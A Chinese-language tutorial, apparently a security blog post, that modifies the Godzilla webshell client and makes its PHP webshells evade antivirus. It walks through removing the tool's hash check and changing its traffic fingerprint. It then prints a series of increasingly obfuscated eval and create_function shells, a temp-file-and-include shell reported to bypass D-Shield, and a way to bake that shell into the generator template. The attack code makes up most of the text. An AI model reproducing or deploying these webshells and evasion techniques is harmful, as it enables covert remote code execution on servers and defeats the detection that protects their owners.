魔改哥斯拉反编译重打包后,如何打乱特征指纹实现Webshell免杀对抗?

摘要:🦖 魔改哥斯拉 | 反编译重打包 + 特征指纹打乱 + Webshell免杀对抗 本文记录对哥斯拉(Godzilla)v4.01 进行魔改的完整过程,涵盖 JAR 反编译环
🦖 魔改哥斯拉 | 反编译重打包 + 特征指纹打乱 + Webshell免杀对抗 本文记录对哥斯拉(Godzilla)v4.01 进行魔改的完整过程,涵盖 JAR 反编译环境搭建、特征指纹修改、Webshell 免杀对抗等内容。 免责声明:本文仅用于学习研究,请勿用于非法用途。 📌 目录 环境准备 JAR 反编译与项目搭建 打乱特征指纹 Webshell 免杀对抗 利用文件包含绕过 D 盾 替换生成模板实现生成即免杀 使用现成免杀工具适配哥斯拉 总结 🛠️ 环境准备 主要用到以下工具: jadx:JAR 反编译工具,用于提取源码 decompiler.com:在线反编译工具(备用) IDEA:Java 开发环境,用于修改和重新打包 JDK 1.8:哥斯拉是基于 JDK 8 编写的,版本要对应,用高版本会有一堆兼容性问题 🔧 JAR 反编译与项目搭建 反编译 用 jadx 打开 godzilla.jar,或者上传到 decompiler.com 进行反编译: decompiler.com 有时候会出问题,建议两个工具都备着 另一款在线反编译工具:https://www.decompiler.com/(这个工具导出的项目中文会被 Unicode 编码,属于正常现象,不影响使用) 配置 IDEA 项目 选 JDK 1.8,版本不对会报一堆奇怪的错误: 添加原版哥斯拉 JAR 包为依赖,这样第三方库的类都从原版 JAR 里读取,不需要单独解决依赖问题: 📁 目录结构说明 这里的目录结构设计很关键,理解清楚能省很多麻烦 项目根目录/ ├── godzilla/ # 反编译的完整源代码(只用来复制文件,不参与构建) ├── lib/ # 原版 jar 包,作为依赖引入 └── src/ # 自己修改的源码目录(核心!参与构建) 注意 src 目录里的文件必须保持和原代码一样的目录结构,比如要改 core/ApplicationConfig.java,就在 src 里建 core/ 目录再放进去。 只保留一个 src 目录参与构建,这样只有你改过的文件会被重新编译,其他的都走原版 JAR: 配置主类入口 找到 godzilla/META-INF/MANIFEST.MF,里面写明了程序的主类: 在 IDEA 的工件配置里填入对应的主类: 构建打包 先点击构建项目: 再点击构建工件重新打包: 看到生成了新的 JAR 文件: 直接运行会提示 hash 校验错误,这是正常的,因为代码被我们重新编译了,hash 值当然变了: ✅ 能弹出提示说明程序能运行,环境搭建成功!接下来开始改代码 🎯 打乱特征指纹 1️⃣ 去除 Hash 校验 全局搜索关键词,找到 godzilla/core/ApplicationConfig.java: 把校验逻辑改掉,有两种方式: // 方法一:去掉取反,让校验永远通过 if (jarHashString.equals(hashString)) // 原来是 !equals // 方法二:直接把校验代码全删了,只保留正常逻辑 ⚠️ 修改的文件要复制一份到 src 目录里,并且保持目录结构不变,否则改动不生效 如果 src 里复制了太多文件导致构建报错,把不需要的文件删掉就行 如果碰到找不到某个包的问题,自己去网上下载对应的 JAR 放到 lib 目录下,再加入依赖就好了: 2️⃣ 修改流量特征(UA/Headers) 先用 Burp 抓一下原版的数据包看看长什么样: 原版数据包: POST /shell.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Host: 127.0.0.1 Content-type: application/x-www-form-urlencoded 这个 UA 是哥斯拉的默认特征,流量设备一眼就能识别。 对应软件里的配置: 找到 core/ui/component/frame/ShellSetting.java,修改默认 Headers: this.headersTextArea.setText( "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36\n" + "Accept: */*\n" + "Referer: https://www.google.com/\n" + // 可以换成目标主机的域名 "X-Requested-With: XMLHttpRequest\n" + "Accept-Language: zh-CN,zh;q=0.9\n" ); 改完之后抓包确认 UA 变了: 💡 除了改 UA,还可以改版权信息等其他字符串特征,让工具的静态特征尽量跟原版不一样 🛡️ Webshell 免杀对抗 以 PHP 为例,源码在 src/shells/cryptions/phpXor 目录下,控制 Webshell 的生成逻辑。 生成三个 Webshell 看看: 原版的都直接被杀了: 逐步混淆过程 第一步:加个判断,避免无条件执行 <?php if(isset($_POST['pass'])){ @eval($_POST['pass']); } 第二步:变量名替换 <?php $_k = 'pass'; if(isset($_POST[$_k])){ @eval($_POST[$_k]); } 第三步:字符串拆分,打散关键字 <?php $_k = 'pa'.'ss'; if(isset($_POST[$_k])){ @eval($_POST[$_k]); } 第四步:替代 eval 函数,用 create_function 代替 <?php $_k = 'pa'.'ss'; if(isset($_POST[$_k])){ $f = create_function('', $_POST[$_k]); @$f(); } 第五步:混淆函数名 <?php $_k = 'pa'.'ss'; $_c = 'create_'.'function'; if(isset($_POST[$_k])){ $f = $_c('', $_POST[$_k]); @$f(); } 第六步:混淆 POST 变量 <?php $_k = 'pa'.'ss'; $_c = 'cre'.'ate_'.'fun'.'ction'; $_p = '_P'.'OS'.'T'; if(isset($$_p[$_k])){ $f = $_c('', $$_p[$_k]); @$f(); } 第七步:加入垃圾代码干扰静态分析 <?php $_x = 'hello'; $_y = md5('world'); $_k = 'pa'.'ss'; $_c = 'cre'.'ate_'.'fun'.'ction'; $_p = '_P'.'OS'.'T'; $_z = strlen($_x) + 1; if(isset($$_p[$_k])){ $f = $_c('', $$_p[$_k]); @$f(); } 测试结果 ✅ 火绒:过了 ✅ 360:过了 ✅ 卡巴斯基:过了 ❌ D 盾:被检测到,特征是 create_function 的变量调用模式 尝试进一步绕过 D 盾 换用匿名函数: <?php $_x = 'hello'; $_y = md5('world'); $_k = 'pa'.'ss'; $_p = '_P'.'OS'.'T'; $_z = strlen($_x) + 1; if(isset($$_p[$_k])){ $f = function(){ $a = func_get_args(); eval($a[0]); }; @$f($$_p[$_k]); } 还是被检测到,但是级别变小了: 换了几种方式都会被检测到,D 盾对 eval/create_function 相关的所有调用模式都有规则,换调用方式这条路走不通 💡 利用文件包含绕过 D 盾 换个思路,完全不用 eval/create_function,改用临时文件 + include: <?php $_k = 'pa'.'ss'; $_p = '_P'.'OS'.'T'; if(isset($$_p[$_k])){ $tmp = tempnam(sys_get_temp_dir(), 'php'); file_put_contents($tmp, '<?php '.$$_p[$_k]); include($tmp); unlink($tmp); } 执行流程: 接收 POST 数据 ↓ tempnam() 创建临时文件(如 /tmp/php3f2a1b) ↓ file_put_contents() 把 payload 写入临时文件 内容变成 <?php [哥斯拉发来的代码] ↓ include() 把临时文件当 PHP 文件执行 ↓ unlink() 删除临时文件,不留痕迹 为什么能绕过 D 盾? D 盾的静态检测是扫描危险函数特征组合(eval/create_function/assert + 变量),但这个版本里完全没有这些函数,D 盾的规则匹配不到。 其他三个 shell 都被检测到,但这个 shell 没有检测到: 哥斯拉也能正常连接: 🔑 核心原理:哥斯拉发送的 payload 本质上是 PHP 代码字符串,这里把它写成文件再 include 执行,和直接 eval 效果完全一样,哥斯拉不感知任何区别。额外的好处是执行完立即删除临时文件,不留文件痕迹,比 eval 更隐蔽。 ⚡ 替换生成模板实现生成即免杀 既然免杀代码能用了,直接把它写进哥斯拉的生成模板里: src/shells/cryptions/phpXor/template/eval.bin 原内容是: <?php eval($_POST["{pass}"]); 替换成我们的免杀版本。 注意:{pass} 是密码占位符,为了方便就不改了,用默认密码即可 改完之后,不管改没改密码,生成出来的 Webshell 都是默认密码的免杀版本: 🎉 达到"生成即免杀"的效果! 🔍 使用现成免杀工具适配哥斯拉 除了自己改,也可以直接用网上别人写好的免杀 Webshell,只要适配一下哥斯拉的连接方式就好。 以这个工具为例: <?php // ... 内部 AES 加密隐藏真实 Webshell 代码 // 原版连接方式:?vfxg5e=cfile 把哥斯拉生成的 shell 放上去,生成免杀webshell 直接访问有效果(工具有模拟报错页面): 但是直接用哥斯拉是连接不上的: 工具说明里有写,并不完全适配哥斯拉,需要改一下连接方式: 传参: /xxxx.php?vfxg5e=cfile 正确的连接方式: http://127.0.0.1/22.php?vfxg5e=cfile 连接成功: D 盾也扫不到 22.php: 为什么这个工具能绕过查杀? 原理是把完整的哥斯拉 Webshell 用 AES 加密藏在变量里,静态扫描看到的是密文,看不到 eval、encode、getBasicsInfo 等敏感特征,运行时才解密出来执行。这是一种经典的加密隐藏 Payload 免杀思路。 📝 总结 改动点 效果 去除 Hash 校验 重打包后能正常运行 修改默认 UA/Headers 流量层特征改变,不被流量设备识别 Webshell 逐步混淆 过火绒、360、卡巴斯基 临时文件 + include 过 D 盾静态检测 替换生成模板 生成即免杀 免杀对抗的本质:杀软基于特征库,我们所做的就是不断换等价写法绕过已知特征。没有永久免杀,只有持续对抗,杀软特征库会更新,所以需要持续研究新的绕过方式。 关于流量层对抗:本文修改了 UA 等 HTTP 头特征,但 Webshell 通信的 Payload 加密特征属于哥斯拉客户端底层逻辑,需要深入修改通信加密协议才能完全绕过流量检测设备,这部分后续继续研究。 关于插件开发:shells/plugins/php 目录下是插件目录,可以对着原版插件改,或者重新写,但需要适配哥斯拉的插件规范,难度较大,后续单独出一篇。 参考:小迪安全课程 · 免杀对抗-Webshell篇